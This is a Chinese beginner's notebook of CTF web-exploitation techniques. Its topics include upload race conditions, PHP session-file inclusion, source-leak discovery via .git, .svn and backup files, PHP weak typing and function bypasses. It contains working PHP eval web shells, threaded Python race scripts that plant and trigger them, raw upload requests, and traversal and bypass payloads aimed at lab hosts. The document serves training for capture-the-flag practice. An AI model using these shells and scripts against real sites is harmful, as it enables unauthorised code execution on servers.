IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 朴实无华的CTFweb笔记 -> 正文阅读

[PHP知识库]朴实无华的CTFweb笔记

行百里者半九十

本文只是CTFWeb部分的一些基础知识,适合新手,部分内容来自网络,侵权即删

文章目录

Web

0x00 做题思路

  • 查看网页源代码
  • 查看网络重新加载查看是否是 200 302 等
  • 查看网页源代码提示
  • 通过Burp抓包,看是否有敏感信息,如hint、 等
  • 没有思路就扫描,看是否有信息泄露,是否有备份文件
  • 如果获得关于框架或CMS的类型和版本,通过Github搜索相应的源代码进行代码审计

0x01 条件竞争

两篇博客

https://www.cnblogs.com/xiaozhiru/p/12639405.html

https://blog.csdn.net/qq_46150940/article/details/115639419

一个靶场 http://218.94.126.122:17052/

可以通过如下组合进行测试

  • BP+BP
  • BP+Python脚本
  • Python脚本+Python脚本

也可以利用通过Fiddler

0x0101 与PHP代码的竞争

有时候上传不成功,不一定是脚本的问题,可能是靶场或者网络环境的原因,有一定的概率上传不成功,可以增加或者减少一下线程

靶场代码

<html>
    <body>
        <form action="" method="post" enctype="multipart/form-data">
            <label for="file">Filename:</label>
            <input type="file" name="file"/> 
            <input type="submit" name="submit" value="Submit" />
        </form>
    </body>
</html>
<?php
 
if (!empty($_FILES)) {
    move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);
    unlink($_FILES['file']['name']);
}
?>

shell

<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST[miyi]);?>');?>
//可以通过response.status_code == 200判断是否上传成功

<?php file_put_contents('../tmp/tmp/1.php','<?=eval($_REQUEST[miyi])?>')?>
    
    
<?PHP
echo md5(1);
fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>');
?>
/**
这种shell可以通过返回的页面中是否有某一个值的MP5来判断
if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
	print("OK")
    break
其中 c4ca4238a0b923820dcc509a6f75849b = md5(1)
*/
 
<?php
system('ls');
# system('cat flag.php');
?>

Python脚本,可以单独使用,也可以配合BPFiddler

  • 同时getpost传递文件,注意是文件,而不是单纯的参数
# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor


def td(list):
    url = 'http://192.168.110.128/upload-labs-master/Pass-18/index.php'
    files = {'upload_file':('shell.php',"<?php fputs(fopen('miyi3.php','w'),'<?php @eval($_REQUEST[miyi]);?>');?>")}
    data = {'submit':'上传'}
    r = requests.post(url = url, data = data , files = files)
    re = requests.get('http://192.168.110.128/upload-labs-master/upload/shell.php')
    if re.status_code == 200:
    # 关于 status_code https://blog.csdn.net/weixin_42240667/article/details/102807011
        print('上传成功')


if __name__ == '__main__':
# 关于内置变量__name__ https://www.zhihu.com/question/49136398
    with ThreadPoolExecutor(300) as p:
        p.map(td, range(2000))
    '''
    关于map https://www.runoob.com/python/python-func-map.html
    就是以线程p 来执行函数td,通过map将rang(2000)的每一个值传递给td作为参数
    这里线程是200,每个线程执行2000次,就是高并发
    '''

一句话木马最好不要用太简单的,会被爆破,>点这里<,这里有一点要注意,fputs传递的一句话的内容要用'单引号包裹,原因可以参考 PHP 单引号与双引号的区别(总结),双引号会解析$变量、格式符,从而导致一句话内容被解析从而语句报错

  • get脚本,用于不断访问那个还没来得及删除的文件,这里是单线程,可以用下面那个脚本设置线程
# coding:utf-8
import requests

def main():
    i=0
    while 1:
        try:
            print("第{}次访问".format(i),end='\r')
            i=i+1
            '''
            Linux系统中print("第{}次访问".format(i),end='\r')才会有效果
            关于end='\r'参考 https://blog.csdn.net/weixin_42348333/article/details/98635240
            关于format https://www.runoob.com/python/att-string-format.html
            '''
            a = requests.get("http://192.168.110.128/cms/show.php?id=1")
            if a.status_code == 200:
                print("Successfully")
                break
            
        except Exception as e:
            pass
            
if __name__ == '__main__':
    main()

  • http测试脚本,可以修改线程等操作
import requests
from concurrent.futures import ThreadPoolExecutor   # 多线程
import sys

def func(arg):
    return locals()         # 将 arg1=1,arg2=2 的参数形式转化为 {"arg1":"1","arg2":"2"} 的形式


def main(list):
    if(method == "GET" or method == ""):
        req = requests.get(url+"?"+query,headers=headers)   # 利用requests库进行GET传参
        if(req.status_code == 200):
            print("Tested Successfully!\n"+req.text)
        else:
            print("Tested Failed")
    elif(method == "POST"):             
        req = requests.post(url, data=body, headers=headers)    # POST传参
        if(req.status_code == 200):
            print("Uploaded successfully!\n"+req.text)
        else:
            print("Uploaded Failed")
    else:
        print("Please enter legal parameters!")
            

if_continue = True
while if_continue:  # 询问是否要再次执行测试
    url = input("Please input the URL[http://.../.../]:")
    query = input("Please input the query[GET:name=1&passwd=2&...]|[POST:name=1,passwd=2,...]:")
    method = input("Please input the methed [GET]|POST:")
    headers = input("Please input the headers[User-Agent=...,XFF=...,..]:")
    num = input("Query Numbers[default +∞]:")
    if(num == ''):
        num = sys.maxsize
    headers = func(headers)
    body = func(query)

    if __name__ == "__main__":
        threads = int(input("Please input the thread number[default 10]:"))
        if(threads == ""):
            threads=10
        with ThreadPoolExecutor(threads) as p: 
            p.map(main,range(int(num)))

    ask = input("Continue or not [Y]/n:")
    if ask == "n":
        break        

BP设置

-----------------------------67234776420802811681321696341
Content-Disposition: form-data; name="upload_file"; filename="miyi.php"
Content-Type: application/octet-stream

<?php fputs(fopen("shell.php","w"),'<?php @eval($_REQUEST[miyi]);?>')?>
-----------------------------67234776420802811681321696341
Content-Disposition: form-data; name="submit"

上传
-----------------------------67234776420802811681321696341--

0x0102 和Session文件进行竞争

关于session的几篇文章

Session的存储和实现

PHPSession与Cookie详解

PHP中SESSION工作原理

关于session包含写木马

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

phpinfo中的部分Session配置

Directive说明Local Value (PHP.ini文件中的内容)Master Value(当前目录中的设置)
session.save_handler如何保存session,默认是通过文件形式filesfiles
session.save_pathsession保存的位置D:\phpStudy\tmp\tmpD:\phpStudy\tmp\tmp
session.serialize_handlerphpphp
session.upload_progress.cleanup默认清除OnOn
session.upload_progress.enabled开启过程记录OnOn
session.upload_progress.freq1%1%
session.upload_progress.min_freq11
session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefixupload_progress_upload_progress_
session.use_cookiesOnOn
session.use_only_cookiesOnOn
session.use_trans_sid00
  • 关于Local ValueMaster Value https://blog.csdn.net/RJxiaowu/article/details/84369547

  • 常见的php-session存放位置(在Linux中,PHPStudy中是在 PHPStudy\tmp\tmp)

/var/lib/php5/sess_PHPSESSID

/var/lib/php7/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSED

原理

session.use_strict_mode默认值为off,这个配置项可以拒绝由用户自己提供的会话ID,从而用户可以自己定义Sessin ID。函数session_start()控制session开启。session下存在upload_progress属性,用来记录文件上传进度,并且默认是开启状态。当没有使用该session_start()的时候,通过POST数据包中的PHP_SESSION_UPLOAD_PROGRESS字段也可以初始化session_start()函数,从而PHP会自动初始化Session,又因为用户定义了自己的Sessin ID,从而PHP会在服务器上建立用户的sess_SESSID文件session.upload_progress.cleanup默认也是开启的,一旦读取了所有POST数据,它就会清除进度信息,注意,这个sess_SESSID文件本身并没有被删除,只是内容被清空了。所以我们就需要在生成的sess_PHPSESSID文件被清除之前访问这个文件,然后利用文件包含执行其中的内容,在文件包含目录下生成一句话木马,我们竞争的对象就是session配置文件

后台代码

就是文件包含的代码,可能会对file添加一些过滤

<?php
if (isset($_GET['file'])) {
    include './' . $_GET['file'];
}
?>
或者
<?
 if(isset($_GET['file'])){
     $file = $_GET['file'];
     $file = str_replace("php", "???", $file);
     $file = str_replace("data","???",$file);
 	 $file = str_replace(":","???",$file);
     $file = str_replace(".","???",$file);
     include($file);
 }else{
     highlight_file(__FILE__);
 }
 ?>

利用PHP_SESSION_UPLOAD_PROGRESS开启Session生成sess_SESSID文件

参考 https://www.cnblogs.com/xiaozhiru/p/12639405.html ,注意windows中利用PHPStudy生成的Session存储在 PHPStudy\tmp\tmp

构造一个可以上传PHP_SESSION_UPLOAD_PROGRESS的表单

<html>
<body>
<form action="" method="post"
enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/>
<!--上面是hidden的,下面可以自己修改写入的内容
<label for="file">PHP_SESSION_UPLOAD_PROGRESS:</label>
<input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/> 
-->
<input type="file" name="file"/> 
<input type="submit" name="submit" />
</form>
</body>
</html>

一定要在前面,不然没办法控制生成的session文件名。

这样抓到的包如下

我们需要添加一个Cookie字段,这样服务器端才会为我们创建一个sess_sessid文件,这里的sessid文件名为miyi

POST /upload_test/session.php HTTP/1.1
Host: 192.168.110.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------310808525326650918013210843263
Content-Length: 480
Cookie: PHPSESSID=miyi
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------310808525326650918013210843263
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

888
-----------------------------310808525326650918013210843263
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream


-----------------------------310808525326650918013210843263
Content-Disposition: form-data; name="submit"

submit
-----------------------------310808525326650918013210843263--

到服务器端看一下

注意接收方式的是GET,而我们通过POST在这个页面传参

包含Session写木马脚本

import io
import requests
import threading
     
sessid = 'ph1'
     
def t1(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        response = session.post(
            'http://localhost/2.php', 
            # 这里是那个文件上传的页面,这里需要修改
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=file_put_contents("shell.php","<?=phpinfo();?>")?>'},
            files={'file': ('a.txt', f)},
            # 传入一个文件,这个文件的内容是f,通过修改内容大小延长session存在的期限
            cookies={'PHPSESSID': sessid}
            # session保存的名称为 'sess_'+sessid ,这里可以随便改名字
        )
     
     
def t2(session):
    while True:
        response = session.get(f'http://localhost/2.php?file=../Extensions/tmp/tmp/sess_{sessid}')
        # 这里需要修改,改为目标系统中session文件存在的路径
        print(response.text)
     
     
with requests.session() as session:
    t1 = threading.Thread(target=t1, args=(session, ))
    t1.daemon = True
    t1.start()
 
    t2(session)

修改对应的访问路径,和 session文件路径。由于POST传递的文件的内容有50KB,后面我也看不懂。。。反正sess_SESSID文件会存在很久,从而有足够的时间去包含

利用BP实现Session包含

我们用这段代码测试

<?
 if(isset($_GET['file'])){
     $file = $_GET['file'];
     $file = str_replace("php", "???", $file);
     $file = str_replace("data","???",$file);
 	 $file = str_replace(":","???",$file);
     $file = str_replace(".","???",$file);
     #var_dump($file);
     include($file);
 }else{
     highlight_file(__FILE__);
 }
 ?>

没有办法进行常规的包含,file=readme.txt会变成readme???txt。如果这段代码是在Linux服务器中,那么我们表示路径并不需要.,直接用绝对路径就行。在Windows系统中绝对路径和相对路径都无法使用,就嗝屁了。。

首先用上面那个表单传参(有上传选项的话直接上传就行)然后抓包添加Cookie字段,不过PHP_SESSION_UPLOAD_PROGRESS的值要改为相应的shell,发送到Intruder模块,设置无载荷并且适当增加线程来发送这个POST包,然后构造包含的URL并且访问抓包,设置无载荷并且适当增加线程,如果返回包中的状态码是200,说明木马写入成功,或者系统语句执行成功。

0x0103 比赛中出现的题目

0x02 信息泄露

参考文献 https://mp.weixin.qq.com/s/0cOftAGyHRAYE2P-lTW4_w

注意:

有些工具的在Windows中会缺少一些隐藏文件,可以到Linux中试一试

0x0201 常见的信息泄露

https://mp.weixin.qq.com/s/0cOftAGyHRAYE2P-lTW4_w

https://blog.csdn.net/qq_45086218/article/details/114018286

文本备份文件(index.php为例)

.index.php.swp
.index.php.swo
index.php~
index.php.bak
index.php.txt
index.php.old
index.phps

整站源码备份文件

备份文件名+文件后缀

//备份文件名
www
wwwdata
wwwroot
web
webroot
backup
dist
index
index.php
config

//备份文件后缀

.zip
.tar
.tar.gz
.tar.bz2
.7z
.rar
.txt
.old
.temp
.bak
.~

然后我们写一个Python脚本生成字典

a = ['www', 'wwwdata,wwwroot', 'web', 'webroot', 'backup', 'dist', 'index', 'index.php', 'config']
b = ['.zip', '.tar', '.tar.gz', '.tar.bz2', '.7z', '.rar', '.txt', '.old', '.temp', '.bak', '.~']
for i in a:
    for j in b:
        print(i+j)
www.zip
www.tar
www.tar.gz
www.tar.bz2
www.7z
www.rar
www.txt
www.old
www.temp
www.bak
www.~
wwwdata,wwwroot.zip
wwwdata,wwwroot.tar
wwwdata,wwwroot.tar.gz
wwwdata,wwwroot.tar.bz2
wwwdata,wwwroot.7z
wwwdata,wwwroot.rar
wwwdata,wwwroot.txt
wwwdata,wwwroot.old
wwwdata,wwwroot.temp
wwwdata,wwwroot.bak
wwwdata,wwwroot.~
web.zip
web.tar
web.tar.gz
web.tar.bz2
web.7z
web.rar
web.txt
web.old
web.temp
web.bak
web.~
webroot.zip
webroot.tar
webroot.tar.gz
webroot.tar.bz2
webroot.7z
webroot.rar
webroot.txt
webroot.old
webroot.temp
webroot.bak
webroot.~
backup.zip
backup.tar
backup.tar.gz
backup.tar.bz2
backup.7z
backup.rar
backup.txt
backup.old
backup.temp
backup.bak
backup.~
dist.zip
dist.tar
dist.tar.gz
dist.tar.bz2
dist.7z
dist.rar
dist.txt
dist.old
dist.temp
dist.bak
dist.~
index.zip
index.tar
index.tar.gz
index.tar.bz2
index.7z
index.rar
index.txt
index.old
index.temp
index.bak
index.~
index.php.zip
index.php.tar
index.php.tar.gz
index.php.tar.bz2
index.php.7z
index.php.rar
index.php.txt
index.php.old
index.php.temp
index.php.bak
index.php.~
config.zip
config.tar
config.tar.gz
config.tar.bz2
config.7z
config.rar
config.txt
config.old
config.temp
config.bak
config.~

其他文件泄露

  • .git

https://www.neat-reader.cn/webapp#/epubreader?bookguid=cf4dde20-7f0c-4a78-ae91-c8c7e2146a5b

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。需要掌握一些git的基本语法。

测试是否有git泄露

curl http://xxxx/.git/HEAD
curl http://xxxx/.git/config

这里建议看一下靶场中是怎么找flag的

靶场

log

stash

  • scrabble https://github.com/denny0223/scrabble
scrabble http://example.com/
  • GitHack https://github.com/lijiejie/GitHack
python GitHack.py http://www.openssl.org/.git/
  • GitHacker https://github.com/WangYihang/GitHacker

建议在Linux中运行

# Installation
pip3 install GitHacker

# Usage
githacker --url http://127.0.0.1/.git/ --folder result
  • .svn

SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要地方源代码信息。网站管理员在发布代码时,没有使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露在外网环境,可以使用.svn/entries文件,获取到服务器源码。

扫描器扫描到.svn目录,或利用svnExploit扫描

  • svnExploit https://github.com/admintony/svnExploit

    svn>1.7

# 检测SVN源代码泄露
python SvnExploit.py -u http://192.168.27.128/.svn

# 下载源代码
python SvnExploit.py -u http://192.168.27.128/.svn --dump
  • svn-extractor https://github.com/anantshri/svn-extractor
svn-extractor.py --url "url with .svn available"
  • Seay Svn

下载地址 http://www.vuln.cn/wp-content/uploads/2015/10/Seay-Svn.rar

  • dvcs-ripper工具中的rip-svn.pl

建议下载docker,然后到容器里面去运行

[root@localhost ~]# docker exec -it 467142dceb47 /bin/bash
bash-4.3$ rip-svn.pl -u http://www.example.com/.svn
bash-4.3$ ls -a
.           ..          .svn        index.html
  • vim

    • 在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后(如不保存关闭terminal),因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

      以 index.php 为例:第一次产生的交换文件名为 .index.php.swp

      再次意外退出后,将会产生名为 .index.php.swo 的交换文件

      第三次产生的交换文件则为 .index.php.swn

      方法一

      利用curl访问即可直接看到flag,因为vim使用的缓存存储为一种固定格式的二进制文件。而我们一般编辑时的明文可见字符,会原样保留在vim的缓存中

      curl http://www.example.com/.index.php.swp
      

      方法二

      将缓存文件下载下来

      wget http://www.example.com/.index.php.swp
      

      使用vim编辑原有文件,例如下载的.index.php.swp,则说明之前编辑的文件名为index.php

      会提示是否恢复,选择R进行恢复即可看到原始内容

      vim -r index.php
      或者
      vim -r .index.php.swp
      vim -r .index.php.swo
      vim -r .index.php.swn
      
  • robots.txt

  • .DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件,是Finder用来保存如何展示文件/文件夹数据文件,每个文件夹下对应一个。。通过.DS_Store可以知道这个目录里面所有文件的清单

  • Python-dsstore https://github.com/gehaxelt/Python-dsstore
python main.py DS_Store
  • ds_store_exp https://github.com/lijiejie/ds_store_exp

    注意Python的版本是2.*

python ds_store_exp.py http://www.example.com/.DS_Store
  • .cvs源代码泄露

CSV是一个C/S系统,多个开发人员通过中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。主要是针对CVS/Root以及CVS/Entries目录,直接就可以看到泄露的信息。

返回根信息:http://www.example.com/CVS/Root

返回所有文件的结构:http://www.example.com/CVS/Entries

漏洞利用工具:dvcs-ripper

项目地址:https://github.com/kost/dvcs-ripper.git

运行示例:

rip-cvs.pl -v -u http://www.example.com/CVS

prel脚本

建议下载docker,然后到容器里面去运行

  • .hg源码泄露

Mercurial是一种轻量级分布式版本控制系统,使用hg init的时候会生成.hg

漏洞利用工具:dvcs-ripper

项目地址:https://github.com/kost/dvcs-ripper.git

运行示例:

rip-hg.pl -v -u http://www.example.com/.hg/

# 忽略SSL证书认证
rip-hg.pl -s -v -u http://www.example.com/.hg/

WP : hg泄露

  • WEB-INF/web.xml

WEB-INF是Java的Web应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

WEB-INF主要包含以下文件或目录:

  1. WEB-INF/web.xml:Web应用程序配置文件,描述了servlet和其他的应用组件及命名规则?WEB-INF/database.properties:数据库配置文件?WEB-INF/classes/:一般用来存放Java类文件(.class
  2. WEB-INF/lib/:用来存放打包好的库(.jar)?WEB-INF/src/:用来存放源代码

通过找到 web.xml 文件,推断 class 文件的路径,最后直接下载 class 文件,再通过反编译 class 文件,得到网站源码。

0x0202 自动化扫描工具

通过anaconda https://blog.csdn.net/ITLearnHall/article/details/81708148 创建python3.8.8的环境可以运行dirmap和dirsearch

下面部分内容是从干货 | 渗透测试之敏感文件目录探测总结复制的

  • dirmap https://github.com/H4ckForJob/dirmap
python3 dirmap.py -i https://target.com -lcf
python3 dirmap.py -i 192.168.1.1 -lcf
  • dirsearch https://blog.csdn.net/Jiajiajiang_/article/details/81391982
python dirsearch.py -u xxx -e * [-s 1]
//-s设置请求之间的延时
  • 7kbscan-WebPathBrute https://github.com/7kbstorm/7kbscan-WebPathBrute

  • 御剑

  • DirBuster

    DirBuster是OWASP(Open Web Application Security Project)开发的一款专门用于探测Web服务器目录及隐藏文件的,功能十分强大的工具。DirBuster最擅长目录的暴力猜解,因此,DirBuster一般都会发现一些目录浏览、目录遍历及目录穿越等漏洞,甚至还会发现一些后台管理地址等。

    图片

    • wwwscan

    wwwscan是一款网站后台扫描工具,简单好用又强大。它有命令行和图形界面两种。

    图片

    • dirb

    Kali Linux内置工具

    dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站。

    运行示例:

    dirb http://www.baidu.com
    
    • dirmap

    一个高级web目录扫描工具,功能将会强于DirBuster、Dirsearch、cansina、御剑

    项目地址:https://github.com/H4ckForJob/dirmap

    运行示例:

    python3 dirmap.py -i https://target.com -lcf
    
    • Cansina

    Cansina是用python写的一款探测网站的敏感目录和内容的安全测试工具

    项目地址:https://github.com/deibit/cansina

    运行示例:

    python3 cansina.py -u http://baidu.com
    
    • dirsearch

    dirsearch是一个python开发的目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。

    项目地址:https://github.com/maurosoria/dirsearch/

    运行示例:

    python3 dirsearch.py -u http://www.baidu.com -e php,js --exclude-status 403,401
    
    • weakfilescan

    基于爬虫,动态收集扫描目标相关信息后进行二次整理形成字典规则,利用动态规则的多线程敏感信息泄露检测工具。

    项目地址:https://github.com/ring04h/weakfilescan

    运行示例:

    python wyspider.py http://wuyun.org php
    

0x03 PHP中以下东西被认为是空的

	""(空字符串)
	0(整数0)
	0.0(浮点数0)
	"0"(字符串0)
	NULL
	FALSE
	array()(一个空数组)
	$var;(一个声明了,但是没有值的变量)

这些两两通过==比较,基本都会返回true,但是=== 全部是false

<?php
$a = NULL;
$b = FALSE;
$c = "";
$d = 0;
$e = 0.0;
$f = array();
$g = "0";
echo !$a;
echo !$b;
echo !$c;
echo !$d;
echo !$e;
echo !$f;
echo !$g;
var_dump(!$a);
var_dump(!$b);
var_dump(!$c);
var_dump(!$d);
var_dump(!$e);
var_dump(!$f);
var_dump(!$g);
?>
    
=>1111111
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)


0x04 PHP弱类型

搜索常见的弱类型

https://www.cnblogs.com/Mrsm1th/p/6745532.html#!comments

https://blog.csdn.net/heiseweiye/article/details/82735640

?

0x05 编码转换

常见的编码

CTF必备密码编码大全

CTF中常见编码总结

CTF中常见编码

  • HEX

    3D45353D39333D38383D45353D39333D38383D45353D39333D38383D45353D39333D38382C3D4
    
  • JSfuck(通过[]()+!这六个字符表示JS代码)

    +[]]+(!![]+[])[+[]]
    
  • Quoted-printable

    =8D=8A=E5
    
  • Base64/32/16

    可能需要自己加=

推荐阅读:

Base64,Base32,Base16进制的区别:

快速判断base16,base32,base64

如何判断一个字符串是否经过base64加密过?

0x06 函数绕过

如下都是通过数组绕过

  • preg_match()

    在代码执行漏洞中,PHP是忽略大小写的,可以用于绕过preg_match匹配:比如system()过滤了,但是System()没有过滤。如果传入的参数是数组,则返回false

  • strcmp()

strcmp()函数是比较两个字符串的大小,返回比较的结果。一般形式是:

i=strcmp(字符串,字符串);

其中,字符串1字符串2均可为字符串常量或变量i是用于存放比较结果的整型变量。比较结果是这样规定的:

①字符串1小于字符串2,strcmp函数返回一个负值;

②字符串1等于字符串2,strcmp函数返回零;

③字符串1大于字符串2,strcmp函数返回一个正值;

期望传入的数据类型是字符串类型,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当接受到了不符合的类型,这个函数将发生错误。在php 5.2版本以及之前的版本中,利用strcmp函数将数组字符串进行比较会返回-1,但是从5.3开始,会返回0!也就是虽然报了错,但却判定其相等了。。

strpos() 函数查找字符串在另一字符串中第一次出现的位置遇到数组返回NULL。

用法:

strpos(string $haystack, mixed $needle, int $offset = 0): int

返回 needlehaystack 中首次出现的数字位置。

如下两种Payload都是可以的

?para=miyi[]
?para[]=miyi

别名 strstr(),返回字符串第一次出现到结束位置之间的字符串

<?php
$email  = 'name@example.com';
$domain = strstr($email, '@');
echo $domain; // 打印 @example.com

$user = strstr($email, '@', true); // 从 PHP 5.3.0 起
echo $user; // 打印 name
?>

strrstr() 字符串最后一次出现到结束位置之间的字符串

stristr()是strstr()忽略大小写的版本

  • ereg()/eregi()

    <?php
    $flag = '*********';
    
    if (isset ($_GET['password'])) {
        if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
            # 这段正则表示,[]中的内容至少出现1次且必须以其中的内容开头和结尾,本质上就是说,password传递的参数值必须和^$之间的值相等,由于 []+ 代表所有的大小写字母和数字的组合,所以password中不能含有其他的符号,否则会返回false
            echo '<p class="alert">You password must be alphanumeric</p>';
        else if (strpos ($_GET['password'], '--') !== FALSE)
            die($flag);
        else
            echo '<p class="alert">Invalid password</p>';
    }
    ?>
    
    • 数组绕过
int ereg(string pattern, string originalstring, [array regs]);

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的,遇到数组做参数返回NULLereg区分大小写,而eregi不区分大小写

? 遇到%00则默认为字符串的结束

  • strcasecmp()

传入的如果是数组,直接为null ,null == 0

  • md5()

    • 数组绕过(===)
    • 科学计数法绕过(==) 如下
    有一些字符串的MD5值为0e开头,这里记录一下
    
    QNKCDZO
    QLTHNDT
    240610708
    s878926199a
    s155964671a
    s214587387a
    s1091221200a
    s1885207154a
    s1836677006a
    
    还有MD5和双MD5以后的值都是0e开头的
    
    CbDLytmyGm2xQyaLNhWn
    770hQgrBOjrcqftrlaZk
    7r4lGXCH2Ksu2JNT3BYM
    
  • sha1()绕过

    数组绕过

  • urldecode()二次绕过

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

要想得出flag我们即要求id不能等于hackerDJ,又要求idurldecode解码等于id
因此我们需要进行两次编码:h --> %68 --> %2568$_GET[id]会自动解码URL一次。

  • file_get_contents()

    当PHP的file_get_contents()函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹
    造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。

    上源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/^http/is', $_GET['a'])){
      die("no hack");
}
echo file_get_contents($_GET['a']); no hac

? Payload:

?a=httpsss://../../../../../flag
或 
?a=httpsssss://abc../../../../../../flag
  • json_decode绕过

    • json_decode解析字符串的时候会把字符串转成int 类型
    $a = "6493798054351761409";
    $linData['options']['defvalue'] = json_decode($a, true);
    var_dump($a);
    var_dump($linData);
    

    结果如下:

    string(19) "6493798054351761409"
    array(1) {
      ["options"]=>
      array(1) {
        ["defvalue"]=>
        int(6493798054351761409)
      }
    }
    

    $a为字符串时,返回NULL

    上源码:

    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    $num  = $_GET['num'];
    if(!isset($num)||(strlen($num)==0)) die("no");
        $b=json_decode($num);
        if($y = $b === NULL){
        if($y === true){
            echo file_get_contents('../flag');
            }
        }else{
            die('no');
        }
    

    payload: num=NULL || num=%20 || num= (空格) → 可以BP抓包修改

    • payload={“key”:0}

      json_decode()的结果是0

      0=="admin"
      
  • array_searchis_array

数组绕过即可,返回NULL

  • switch绕过
<?php
$a="4admin";
switch ($a) {
    case 1:
        echo "fail1";
        break;
    case 2:
        echo "fail2";
        break;
    case 3:
        echo "fail3";
        break;
    case 4:
        echo "sucess";  //结果输出success;
        break;
    default:
        echo "failall";
        break;
}
?>
  • is_file绕过

判断给定文件名是否为一个正常的文件

is_file ( string $filename ) : bool

如果需要函数值为false,又要作为文件读取内容,可以通过伪协议来绕过,具体请参考伪协议利用(二)之is_file()&highlight_file()

  • require_once绕过

参考 https://bbs.zkaq.cn/t/6043.html

参考 https://www.anquanke.com/post/id/213235#h3-3

源码

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}
?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php
  • strripos

计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)

用法

strripos(string $haystack, string $needle, int $offset = 0): int

以不区分大小写的方式查找指定字符串在目标字符串中最后一次出现的位置,返回needle相对于 haystack 字符串的位置(和搜索的方向和偏移量无关)。同时注意字符串的起始位置为 0 而非 1

如果needle未被发现,返回 false。与 strrpos() 不同,strripos() 不区分大小写。

<?php
var_dump(strripos('class\sdf\sdfd\sdf','\\'));
?>
    
 => int(14)
  • strcmp

数组绕过返回

PHPstrcmp(str1,str2)函数:比较两个字符串(区分大小写)
如果str1小于str2返回 < 0; 如果str1大于str2返回 > 0;如果两者相等返回 0。

 <?php
highlight_file(__FILE__);
define('FLAG','miyi{miyi_house_cn}');
if(strcmp($_GET['flag'],FLAG) == 0){
    echo "success,flag:".FLAG;
}
?> 
    
=> ?flag[]=1

php 5.2版本以及之前的版本中,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0!也就是虽然报了错,但却判定其相等了。用数组绕过时会触发一个warning,但是这不影响漏洞的实现.

  • strlen(Array()) = null

常见函数小结

  • strpos() - 查找字符串首次出现的位置
  • stripos() - 查找字符串首次出现的位置(不区分大小写)
  • strchr()/strstr() - 返回字符串第一次出现到结束位置之间的字符串
  • stristr() - strstr() 函数的忽略大小写版本
  • strrchr() - 查找指定字符在字符串中的最后一次出现到结束的字符串
